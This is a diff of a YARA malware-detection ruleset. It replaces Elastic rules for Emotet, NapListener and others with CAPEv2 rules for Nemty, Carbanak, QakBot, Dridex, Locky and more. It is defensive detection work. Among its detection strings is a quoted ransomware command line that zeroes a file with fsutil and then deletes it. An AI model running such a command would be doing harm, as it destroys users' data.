-		$chunk_7 = { 88 02 48 FF C2 48 FF C3 8A 03 84 C0 75 ?? EB ?? }
+		$string1 = "/C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 \"%s\" & Del /f /q \"%s\"" wide
+		$string2 = "Ransom" ascii wide
+		$crypto = {8B 4D 08 C1 E9 10 0F B6 D1 8B 4D 0C C1 E9 08 0F B6 C9 8B 14 95 [4] 8B 7D FC 33 14 8D [4] 8B CF C1 E9 18 33 14 8D [4] 0F B6 CB 33 14 8D [4] 8B CF 33 10}
+		$decode1 = {8A ?4 34 ?C 0? 00 00 8B 8? 24 ?8 0? 00 00 0F BE ?? 0F BE C? 33 ?? 88 ?? 34 ?? 0? 00 00 46 83 FE 0? 72 DD}
+		$decode2 = {8A 44 24 ?? 30 44 0C ?? 41 83 F9 ?? 72 F2}
 
 	condition:
-		4 of them
+		uint16(0)==0x5A4D and (2 of them )
 }
-rule ELASTIC_Windows_Trojan_Emotet_D6Ac1Ea4 : FILE MEMORY
+rule CAPE_Nemty : FILE
 {
 	meta:
-		description = "Detects Windows Trojan Emotet (Windows.Trojan.Emotet)"
-		author = "Elastic Security"
-		id = "d6ac1ea4-b0a8-4023-b712-9f4f2c7146a3"
-		date = "2022-05-24"
-		modified = "2022-06-09"
-		reference = "https://www.elastic.co/security-labs/emotet-dynamic-configuration-extraction"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Emotet.yar#L92-L114"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "2c6709d5d2e891d1ce26fdb4021599ac10fea93c7773f5c00bea8e5e90404b71"
-		logic_hash = "9b37940ea8752c6db52d4f09225de0389438c41468a11a7cda8f28b191192ef9"
+		description = "Nemty Ransomware Payload"
+		author = "kevoreilly"
+		id = "3aa8e1d7-f9cb-5b04-923d-7bed15ab8c3f"
+		date = "2020-04-03"
+		modified = "2020-04-03"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/Nemty.yar#L1-L13"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "a05974b561c67b4f1e0812639b74831edcf65686a06c0d380f0b45739e342419"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "7e6224c58c283765b5e819eb46814c556ae6b7b5931cd1e3e19ca3ec8fa31aa2"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "windows"
+		quality = 70
+		tags = "FILE"
+		cape_type = "Nemty Payload"
 
 	strings:
-		$calc1 = { C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? }
-		$pre = { 48 83 EC ( 18 | 28 ) C7 44 24 ?? ?? ?? ?? ?? }
-		$setup = { 48 8D 05 ?? ?? ?? ?? 48 89 81 ?? ?? ?? ?? }
-		$post = { 8B 44 24 ?? 89 44 24 ?? 48 83 C4 18 C3 }
+		$tordir = "TorDir"
+		$decrypt = "DECRYPT.txt"
+		$nemty = "NEMTY"
 
 	condition:
-		#calc1>=10 and #pre>=5 and #setup>=5 and #post>=5
+		uint16(0)==0x5A4D and all of them
 }
-rule ELASTIC_Windows_Trojan_Emotet_77C667B9 : FILE MEMORY
+rule CAPE_Carbanak : FILE
 {
 	meta:
-		description = "Detects Windows Trojan Emotet (Windows.Trojan.Emotet)"
-		author = "Elastic Security"
-		id = "77c667b9-6895-428f-8735-ba5853d9484d"
-		date = "2022-11-07"
-		modified = "2022-12-20"
-		reference = "https://www.elastic.co/security-labs/emotet-dynamic-configuration-extraction"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Emotet.yar#L116-L144"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "ffac0120c3ae022b807559e8ed7902fde0fa5f7cb9c5c8d612754fa498288572"
-		logic_hash = "f11769fe5e9789b451e8826c5fd22bde5b3eb9f7af1d5fec7eec71700fc1f482"
+		description = "Carnbanak Payload"
+		author = "enzok"
+		id = "e6d395d5-65ba-5efb-bcbc-c6d56a96f0c1"
+		date = "2024-03-18"
+		modified = "2024-03-18"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/Carbanak.yar#L1-L14"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		hash = "c9c1b06cb9c9bd6fc4451f5e2847a1f9524bb2870d7bb6f0ee09b9dd4e3e4c84"
+		logic_hash = "8ed5ab07f1635dc7cdf296e86a71a0a99d0b2faef8fc460f43d426b24b8c8367"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "f8fac966f77cd8d6654b8abffbf63d884bd9f0b5d51bfc252004a0d9bd569068"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "windows"
+		quality = 70
+		tags = "FILE"
+		cape_type = "Carbanak Payload"
 
 	strings:
-		$c2_list_1 = { 8B 4B ?? 8B 85 ?? ?? ?? ?? 48 FF C1 48 C1 E1 ?? 89 04 19 8B 43 ?? 8B 8D ?? ?? ?? ?? 48 C1 E0 ?? C1 E9 ?? 66 89 4C 18 ?? }
-		$c2_list_2 = { 8B 43 ?? 48 8D 0C 80 8B 44 24 ?? 89 44 CB ?? 8B 43 ?? 8B 54 24 ?? 48 8D 0C 80 C1 EA ?? 66 89 54 CB ?? 8B 43 ?? 0F B7 54 24 ?? 48 8D 0C 80 89 54 CB ?? FF 43 ?? }
-		$c2_list_3 = { 8B 43 ?? 48 FF C0 48 8D 0C 40 8B 85 ?? ?? ?? ?? 48 03 C9 89 04 CB 8B 43 ?? 8B 95 ?? ?? ?? ?? 48 8D 0C 40 C1 EA ?? 48 03 C9 66 89 54 CB ?? 8B 43 ?? 0F B7 95 ?? ?? ?? ?? 48 8D 0C 40 B8 ?? ?? ?? ?? 48 03 C9 89 54 CB ?? FF 43 ?? }
-		$c2_list_4 = { 8B 43 ?? 48 FF C0 48 8D 0C 40 8B 44 24 ?? 89 04 CB 8B 43 ?? 8B 54 24 ?? 48 8D 0C 40 C1 EA ?? 66 89 54 CB ?? 8B 43 ?? 0F B7 54 24 ?? 48 8D 0C 40 89 54 CB ?? FF 43 ?? }
-		$c2_list_5 = { 8B 83 ?? ?? ?? ?? 48 8D 0C 80 8B 44 24 ?? 89 44 CB ?? 8B 83 ?? ?? ?? ?? 8B 54 24 ?? 48 8D 0C 80 C1 EA ?? 66 89 54 CB ?? 8B 83 ?? ?? ?? ?? 0F B7 54 24 ?? 48 8D 0C 80 89 14 CB FF 83 ?? ?? ?? ?? }
-		$c2_list_a = { 8B 83 ?? ?? ?? ?? 83 F8 ?? 73 ?? 48 8D 4C 24 ?? FF 54 C4 ?? 83 7C 24 ?? ?? 74 ?? 83 7C 24 ?? ?? 74 ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? }
-		$string_w_1 = { 8B 0B 49 FF C3 48 8D 5B ?? 33 CD 0F B6 C1 66 41 89 00 0F B7 C1 C1 E9 ?? 66 C1 E8 ?? 4D 8D 40 ?? 66 41 89 40 ?? 0F B6 C1 66 C1 E9 ?? 66 41 89 40 ?? 66 41 89 48 ?? 4D 3B D9 72 ?? }
-		$string_w_2 = { 8B CD 49 FF C3 33 0B 48 8D 5B ?? 0F B6 C1 66 41 89 00 0F B7 C1 C1 E9 ?? 66 C1 E8 ?? 4D 8D 40 ?? 66 41 89 40 ?? 0F B6 C1 66 C1 E9 ?? 66 41 89 40 ?? 66 41 89 48 ?? 4D 3B D9 72 ?? }
-		$string_a_1 = { 8B 0B 49 FF C3 48 8D 5B ?? 33 CD 41 88 08 0F B7 C1 C1 E9 ?? 66 C1 E8 ?? 4D 8D 40 ?? 41 88 40 ?? 41 88 48 ?? 66 C1 E9 ?? 41 88 48 ?? 4D 3B D9 72 ?? }
-		$key_1 = { 45 33 C9 4C 8B D0 48 85 C0 74 ?? 48 8D ?? ?? 4C 8B ?? 48 8B ?? 48 2B ?? 48 83 ?? ?? 48 C1 ?? ?? 48 3B ?? 49 0F 47 ?? 48 85 ?? 74 ?? 48 2B D8 42 8B 04 03 }
+		$sboxinit = {0F BE 02 4? 8D 05 [-] 4? 8D 4D ?? E8 [3] 00 33 F6 4? 8D 5D ?? 4? 63 F8 8B 45 ?? B? B1 E3 14 06}
+		$decode_string = {0F BE 03 FF C9 83 F8 20 7D ?? B? 1F [3] 4? 8D 4A E2 EB ?? 3D 80 [3] 7D ?? B? 7F [3] 4? 8D 4A A1 EB ?? B? FF [3] 4? 8D 4A 81}
+		$constants = {0F B7 05 [3] 00 0F B7 1D [3] 00 83 25 [3] 00 00 89 05 [3] 00 0F B7 05 [3] 00 89 1D [3] 00 89 05 [3] 00 33 C0 4? 8D 4D}
 
 	condition:
-		(1 of ($string_*)) and (($key_1 or (1 of ($c2_list*))) or (1 of ($c2_list*)))
+		uint16(0)==0x5A4D and 2 of them
 }
-rule ELASTIC_Windows_Trojan_Emotet_8B9449C1 : FILE MEMORY
+rule CAPE_Codoso : FILE
 {
 	meta:
-		description = "Detects Windows Trojan Emotet (Windows.Trojan.Emotet)"
-		author = "Elastic Security"
-		id = "8b9449c1-41a3-4f4d-b654-6921f2742b9a"
-		date = "2022-11-09"
-		modified = "2022-12-20"
-		reference = "https://www.elastic.co/security-labs/emotet-dynamic-configuration-extraction"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Emotet.yar#L146-L166"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "ffac0120c3ae022b807559e8ed7902fde0fa5f7cb9c5c8d612754fa498288572"
-		logic_hash = "5501354ebc1d97fe5ce894d5907adb29440f557f2dd235e1e983ae2d109199a2"
+		description = "Codoso Payload"
+		author = "kevoreilly"
+		id = "4c3d8d77-ffa9-576d-bf88-7b5a1bfd1811"
+		date = "2019-10-30"
+		modified = "2019-10-30"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/Codoso.yar#L1-L13"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "32c9ed2ac29e8905266977a9ee573a252442d96fb9ec97d88642180deceec3f8"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "ff15cec5eb41bb9637b570d717151cdc076e88a7b4c3d1c31157d41fe7569318"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "windows"
+		quality = 70
+		tags = "FILE"
+		cape_type = "Codoso Payload"
 
 	strings:
-		$hash_1 = { 8B CB 41 8B D0 D3 E2 41 8B CB D3 E0 03 D0 41 0F BE ?? 03 D0 41 2B D0 49 FF ( C1 | C2 ) }
-		$hash_2 = { 44 8B ?? 44 8B ?? 41 8B CB 41 D3 ?? 8B CB D3 E0 8B C8 8D 42 ?? 66 83 F8 ?? 0F B7 C2 77 ?? 83 C0 ?? 41 2B ?? 41 03 ?? 03 C1 49 83 ?? ?? 41 0F B7 }
+		$a1 = "WHO_A_R_E_YOU?"
+		$a2 = "DUDE_AM_I_SHARP-3.14159265358979"
+		$a3 = "USERMODECMD"
 
 	condition:
-		any of them
+		uint16(0)==0x5A4D and ( all of ($a*))
 }
-rule ELASTIC_Windows_Trojan_Naplistener_E8F16920 : FILE MEMORY
+rule CAPE_Dridexloader : FILE
 {
 	meta:
-		description = "Detects Windows Trojan Naplistener (Windows.Trojan.NapListener)"
-		author = "Elastic Security"
-		id = "e8f16920-52ca-46b6-a945-1b919f975aae"
-		date = "2023-02-28"
-		modified = "2023-03-20"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_NapListener.yar#L1-L21"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "6e8c5bb2dfc90bca380c6f42af7458c8b8af40b7be95fab91e7c67b0dee664c4"
-		logic_hash = "6cb7b5051fab2b56f39b2805788b5b0838a095b41fcc623fe412b215736be5d4"
+		description = "Dridex v4 dropper C2 parsing function"
+		author = "kevoreilly"
+		id = "43bd9631-4611-567c-bee5-d926e060b977"
+		date = "2021-03-10"
+		modified = "2021-03-10"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/DridexLoader.yar#L1-L17"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "20696b1f14539c8ecf21bffc696596040c20b1ee2fcedc173945482c0baca588"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "36689095792e7eb7fce23e7d390675a3554c8a5ba4356aaf9c2fa8986d3a0439"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "windows"
+		quality = 70
+		tags = "FILE"
+		cape_type = "DridexLoader Payload"
 
 	strings:
-		$start_routine = { 02 28 08 00 00 0A 00 00 28 03 00 00 0A 0A 14 FE 06 04 00 00 06 73 04 00 00 0A 73 05 00 00 0A 0B 16 28 06 00 00 0A 00 07 06 6F 07 00 00 0A 00 00 2A }
-		$main_routine = { 6F 22 00 00 0A 13 0E 11 0D 1F 24 14 16 8D 16 00 00 01 14 6F 23 00 00 0A 13 0F 11 0F 14 6F 24 00 00 0A 13 10 11 0E 11 10 18 8D 01 00 00 01 }
-		$start_thread = { 00 28 03 00 00 0A 0A 14 FE 06 04 00 00 06 73 04 00 00 0A 73 05 00 00 0A 0B 16 28 06 00 00 0A 00 07 06 6F 07 00 00 0A 00 2A }
+		$c2parse_1 = {57 0F 95 C0 89 35 [4] 88 46 04 33 FF 80 3D [4] 00 76 54 8B 04 FD [4] 8D 4D EC 83 65 F4 00 89 45 EC 66 8B 04 FD [4] 66 89 45 F0 8D 45 F8 50}
+		$c2parse_2 = {89 45 00 0F B7 53 04 89 10 0F B6 4B 0C 83 F9 0A 7F 03 8A 53 0C 0F B6 53 0C 85 D2 7E B7 8D 74 24 0C C7 44 24 08 00 00 00 00 8D 04 7F 8D 8C 00}
+		$c2parse_3 = {89 08 66 39 1D [4] A1 [4] 0F 95 C1 88 48 04 80 3D [4] 0A 77 05 A0 [4] 80 3D [4] 00 56 8B F3 76 4E 66 8B 04 F5}
+		$c2parse_4 = {0F B7 C0 89 01 A0 [4] 3C 0A 77 ?? A0 [4] A0 [4] 57 33 FF 84 C0 74 ?? 56 BE}
+		$c2parse_5 = {0F B7 05 [4] 89 02 89 15 [4] 0F B6 15 [4] 83 FA 0A 7F 07 0F B6 05 [4] 0F B6 05 [4] 85 C0}
+		$c2parse_6 = {0F B7 53 ?? 89 10 0F B6 4B ?? 83 F9 0A 7F 03 8A 53 ?? 0F B6 53 ?? 85 D2 7E B9}
 
 	condition:
-		2 of them
+		uint16(0)==0x5A4D and any of them
 }
-rule ELASTIC_Windows_Trojan_Naplistener_414180A7 : FILE MEMORY
+rule CAPE_Qakbot5 : FILE
 {
 	meta:
-		description = "Detects Windows Trojan Naplistener (Windows.Trojan.NapListener)"
-		author = "Elastic Security"
-		id = "414180a7-ca8d-4cf8-a346-08c3e0e1ed8a"
-		date = "2023-02-28"
-		modified = "2023-03-20"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_NapListener.yar#L23-L46"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "6e8c5bb2dfc90bca380c6f42af7458c8b8af40b7be95fab91e7c67b0dee664c4"
-		logic_hash = "52d3ddebdc1a8aa4bcb902273bd2d3b4f9b51f248d25e7ae1cc260a9550111f5"
+		description = "QakBot v5 Payload"
+		author = "kevoreilly, enzok"
+		id = "48866cdd-f60e-50b8-85f9-573710934b0b"
+		date = "2024-04-28"
+		modified = "2024-04-28"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/QakBot.yar#L1-L15"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		hash = "59559e97962e40a15adb2237c4d01cfead03623aff1725616caeaa5a8d273a35"
+		logic_hash = "cc23a92f45619d44af824128b743c259dd9dfa7cb5106932f3425f3dfd1dccdf"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "460b21638f200bf909e9e47bc716acfcb323540fbaa9ea9d0196361696ffa294"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "windows"
+		quality = 70
+		tags = "FILE"
+		cape_type = "QakBot Payload"
+		packed = "f4bb0089dcf3629b1570fda839ef2f06c29cbf846c5134755d22d419015c8bd2"
 
 	strings:
-		$a1 = "https://*:443/ews/MsExgHealthCheckd/" ascii wide
-		$a2 = "FillFromEncodedBytes" ascii wide
-		$a3 = "Exception caught" ascii wide
-		$a4 = "text/html; charset=utf-8" ascii wide
-		$a5 = ".Run" ascii wide
-		$a6 = "sdafwe3rwe23" ascii wide
+		$loop = {8B 75 ?? 48 8B 4C [2] FF 15 [4] 48 8B 4C [2] 48 8B 01 FF 50 ?? 8B DE 48 8B 4C [2] 48 85 C9 0F 85 [4] EB 4E}
+		$c2list = {0F B7 1D [4] B? [2] 00 00 E8 [4] 8B D3 4? 89 45 ?? 4? 33 C9 4? 8D 0D [4] 4? 8B C0 4? 8B F8 E8}
+		$campaign = {0F B7 1D [4] B? [2] 00 00 E8 [4] 8B D3 4? 89 44 24 ?? 4? 33 C9 4? 8D 0D [4] 4? 8B C0 4? 8B F8 E8}
 
 	condition:
-		5 of them
+		uint16(0)==0x5A4D and 2 of them
 }
-rule ELASTIC_Linux_Trojan_Shark_B918Ab75 : FILE MEMORY
+rule CAPE_Qakbot4 : FILE
 {
 	meta:
-		description = "Detects Linux Trojan Shark (Linux.Trojan.Shark)"
-		author = "Elastic Security"
-		id = "b918ab75-0701-4865-b798-521fdd2ffc28"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Shark.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "8b6fe9f496996784e42b75fb42702aa47aefe32eac6f63dd16a0eb55358b6054"
-		logic_hash = "16302c29f2ae4109b8679933eb7fd9ef9306b0c215f20e8fff992b0b848974a9"
+		description = "QakBot v4 Payload"
+		author = "kevoreilly"
+		id = "d2c5316c-22cc-5b6d-b6a2-b1d23a06d16b"
+		date = "2024-04-28"
+		modified = "2024-04-28"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/QakBot.yar#L17-L35"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "b2870e33abffbb3ff49b7891b0f5c538ab48ee63da5553929d4e37dec921344f"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "15205d58af99b8eae14de2d5762fdc710ef682839967dd56f6d65bd3deaa7981"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "linux"
+		quality = 70
+		tags = "FILE"
+		cape_type = "QakBot Payload"
 
 	strings:
-		$a = { 26 00 C7 46 14 0A 00 00 00 C7 46 18 15 00 00 00 EB 30 C7 46 14 04 00 }
+		$crypto1 = {8B 5D 08 0F B6 C2 8A 16 0F B6 1C 18 88 55 13 0F B6 D2 03 CB 03 CA 81 E1 FF 00 00 80 79 08 49 81 C9 00 FF FF FF 41}
+		$sha1_1 = {5? 33 F? [0-9] 89 7? 24 ?? 89 7? 24 ?? 8? [1-3] 24 [1-4] C7 44 24 ?0 01 23 45 67 C7 44 24 ?4 89 AB CD EF C7 44 24 ?8 FE DC BA 98 C7 44 24 ?C 76 54 32 10 C7 44 24 ?0 F0 E1 D2 C3}
+		$sha1_2 = {33 C0 C7 01 01 23 45 67 89 41 14 89 41 18 89 41 5C C7 41 04 89 AB CD EF C7 41 08 FE DC BA 98 C7 41 0C 76 54 32 10 C7 41 10 F0 E1 D2 C3 89 41 60 89 41 64 C3}
+		$anti_sandbox1 = {8D 4? FC [0-1] E8 [4-7] E8 [4] 85 C0 7E (04|07) [4-7] 33 (C0|D2) 74 02 EB FA}
+		$anti_sandbox2 = {8D 45 ?? 50 E8 [2] 00 00 59 68 [4] FF 15 [4] 89 45 ?? 83 7D ?? 0F 76 0C}
+		$decrypt_config1 = {FF 37 83 C3 EC 53 8B 5D 0C 8D 43 14 50 6A 14 53 E8 ?? ?? ?? ?? 83 C4 14 85 C0 ?? 26 ?? ?? 86 20 02 00 00 66 85 C0 ?? ?? FF 37 FF 75 10 53}
+		$decrypt_config2 = {8B 45 08 8B 88 24 04 00 00 51 8B 55 10 83 EA 14 52 8B 45 0C 83 C0 14 50 6A 14 8B 4D 0C 51 E8 6C 08 00 00}
+		$decrypt_config3 = {6A 13 8B CE 8B C3 5A 8A 18 3A 19 75 05 40 41 4A 75 F5 0F B6 00 0F B6 09 2B C1 74 05 83 C8 FF EB 0E}
+		$call_decrypt = {83 7D ?? 00 56 74 0B FF 75 10 8B F3 E8 [4] 59 8B 45 0C 83 F8 28 72 19 8B 55 08 8B 37 8D 48 EC 6A 14 8D 42 14 52 E8}
 
 	condition:
-		all of them
+		uint16(0)==0x5A4D and any of ($*)
 }
-rule ELASTIC_Macos_Virus_Vsearch_0Dd3Ec6F : FILE MEMORY
+rule CAPE_Squirrelwaffle : FILE
 {
 	meta:
-		description = "Detects Macos Virus Vsearch (MacOS.Virus.Vsearch)"
-		author = "Elastic Security"
-		id = "0dd3ec6f-815f-40e1-bd53-495e0eae8196"
-		date = "2021-10-05"
-		modified = "2021-10-25"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/MacOS_Virus_Vsearch.yar#L1-L18"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "17a467b000117ea6c39fbd40b502ac9c7d59a97408c2cdfb09c65b2bb09924e5"
+		description = "No description has been set in the source file - CAPE"
+		author = "kevoreilly & R3MRUM"
+		id = "0ae75f24-7a2a-57d3-8c6f-a61ac6cc08e7"
+		date = "2021-10-13"
+		modified = "2021-10-13"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/SquirrelWaffle.yar#L1-L11"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "5f799333398421d537ec7a87ca94f6cc9cf1e53e55b353036a5132440990e500"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "8adbd06894e81dc09e46d8257d4e5fcd99e714f54ffb36d5a8d6268ea25d0bd6"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "macos"
+		quality = 70
+		tags = "FILE"
+		cape_type = "SquirrelWaffle Payload"
 
 	strings:
-		$a = { 2F 00 56 53 44 6F 77 6E 6C 6F 61 64 65 72 2E 6D 00 2F 4D 61 63 69 6E 74 6F 73 }
+		$code = {8D 45 ?? C6 45 ?? 00 0F 43 4D ?? 83 7D ?? 10 0F 43 45 ?? 8A 04 10 32 04 39 8D 4D ?? 0F B6 C0 50 6A 01 E8 [4] C6 45}
+		$decode = {F7 75 ?? 83 7D ?? 10 8D 4D ?? 8D 45 ?? C6 45 ?? 00 0F 43 4D ?? 83 7D ?? 10 0F 43 45 ?? 8A 04 10 32 04 39}
 
 	condition:
-		all of them
+		uint16(0)==0x5A4D and all of them
 }
-rule ELASTIC_Macos_Virus_Vsearch_2A0419F8 : FILE MEMORY
+rule CAPE_Rcsession
 {
 	meta:
-		description = "Detects Macos Virus Vsearch (MacOS.Virus.Vsearch)"
-		author = "Elastic Security"
-		id = "2a0419f8-95b2-4f87-a37a-ee0b65e344e9"
-		date = "2021-10-05"
-		modified = "2021-10-25"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/MacOS_Virus_Vsearch.yar#L20-L37"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "fa9b811465e435bff5bc0f149ff65f57932c94f548a5ece4ec54ba775cdbb55a"
+		description = "RCSession Payload"
+		author = "kevoreilly"
+		id = "841e6bd1-4f09-54dc-8dec-2e9423a34003"
+		date = "2019-10-30"
+		modified = "2019-10-30"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/RCSession.yar#L1-L12"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "ebd1e9e615a91c35b36332cad55519607323469df738cec4464288b45787630d"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "2da9f0fc05bc8e23feb33b27142f46fb437af77766e39889a02ea843d52d17eb"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "macos"
+		quality = 70
+		tags = ""
+		cape_type = "RCSession Payload"
 
 	strings:
-		$a = { 6F 72 6D 61 6C 2F 69 33 38 36 2F 56 53 44 6F 77 6E 6C 6F 61 64 65 72 2E 6F 00 }
+		$a1 = {56 33 F6 39 74 24 08 7E 4C 53 57 8B F8 2B FA 8B C6 25 03 00 00 80 79 05 48 83 C8 FC 40 83 E8 00 74 19 48 74 0F 48 74 05 6B C9 09 EB 15 8B C1 C1 E8 02 EB 03 8D 04 09 2B C8}
+		$a2 = {83 C4 10 85 C0 74 ?? BE ?? ?? ?? ?? 89 74 24 10 E8 ?? ?? ?? ?? 6A 03 68 48 0B 00 00 56 53 57 68 02 00 00 80 E8 ?? ?? ?? ?? 83 C4 18 85 C0 74 18 E8 ?? ?? ?? ?? 6A 03 68 48}
 
 	condition:
-		all of them
+		( any of ($a*))
 }
-rule ELASTIC_Windows_Trojan_Spectralviper_43Abeeeb : FILE MEMORY
+rule CAPE_Locky : FILE
 {
 	meta:
-		description = "Detects Windows Trojan Spectralviper (Windows.Trojan.SpectralViper)"
-		author = "Elastic Security"
-		id = "43abeeeb-d81a-475e-9b9e-6b6337bf2ce0"
-		date = "2023-04-13"
-		modified = "2023-05-26"
-		reference = "https://www.elastic.co/security-labs/elastic-charms-spectralviper"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_SpectralViper.yar#L1-L27"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "7e35ba39c2c77775b0394712f89679308d1a4577b6e5d0387835ac6c06e556cb"
-		logic_hash = "976e5b5b4ba73f1b392c2f6b32a86b09b5fd9e5a3510c60b77a39f1e0d705822"
+		description = "Locky Payload"
+		author = "kevoreilly"
+		id = "664d0365-af49-5222-a4ed-9260332f6940"
+		date = "2022-06-09"
+		modified = "2022-06-09"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/Locky.yar#L1-L14"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
